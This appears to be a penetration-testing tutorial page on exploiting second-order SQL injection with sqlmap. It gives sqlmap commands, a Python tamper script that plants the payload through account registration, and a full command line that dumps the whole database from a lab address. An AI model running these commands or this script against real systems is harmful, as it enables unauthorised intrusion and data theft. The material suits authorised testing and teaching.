# Second Order Injection - SQLMap
|
|
|
|
**SQLMap can exploit Second Order SQLis.**\
|
|
You need to provide:
|
|
|
|
* The **request** where the **sqlinjection payload** is going to be saved
|
|
* The **request** where the **payload** will be **executed**
|
|
|
|
The request where the SQL injection payload is saved is **indicated as in any other injection in sqlmap**. The request **where sqlmap can read the output/execution** of the injection can be indicated with `--second-url` or with `--second-req` if you need to indicate a complete request from a file.
|
|
|
|
**Simple second order example:**
|
|
|
|
```bash
|
|
#Get the SQL payload execution with a GET to a url
|
|
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
|
|
|
|
#Get the SQL payload execution sending a custom request from a file
|
|
sqlmap -r login.txt -p username --second-req details.txt
|
|
```
|
|
|
|
In several cases **this won't be enough** because you will need to **perform other actions** apart from sending the payload and accessing a different page.
|
|
|
|
When this is needed you can use a **sqlmap tamper**. For example the following script will register a new user **using sqlmap payload as email** and logout.
|
|
|
|
```python
|
|
#!/usr/bin/env python
|
|
|
|
import re
|
|
import requests
|
|
from lib.core.enums import PRIORITY
|
|
__priority__ = PRIORITY.NORMAL
|
|
|
|
def dependencies():
|
|
pass
|
|
|
|
def login_account(payload):
|
|
proxies = {'http':'http://127.0.0.1:8080'}
|
|
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
|
|
|
|
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
|
|
url = "http://10.10.10.10/create.php"
|
|
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
|
|
|
|
url = "http://10.10.10.10/exit.php"
|
|
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
|
|
|
|
def tamper(payload, **kwargs):
|
|
headers = kwargs.get("headers", {})
|
|
login_account(payload)
|
|
return payload
|
|
```
|
|
|
|
A **SQLMap tamper is always executed before starting a injection try with a payload** **and it has to return a payload**. In this case we don't care about the payload but we care about sending some requests, so the payload isn't changed.
|
|
|
|
So, if for some reason we need a more complex flow to exploit the second order SQL injection like:
|
|
|
|
* Create an account with the SQLi payload inside the "email" field
|
|
* Logout
|
|
* Login with that account (login.txt)
|
|
* Send a request to execute the SQL injection (second.txt)
|
|
|
|
**This sqlmap line will help:**
|
|
|
|
```bash
|
|
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
|
|
###########
|
|
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
|
|
# -r login.txt : Indicates the request to send the SQLi payload
|
|
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
|
|
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
|
|
# --proxy http://127.0.0.1:8080 : Use this proxy
|
|
# --technique=U : Help sqlmap indicating the technique to use
|
|
# --dbms mysql : Help sqlmap indicating the dbms
|
|
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
|
|
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
|
|
# -a : Dump all
|
|
```
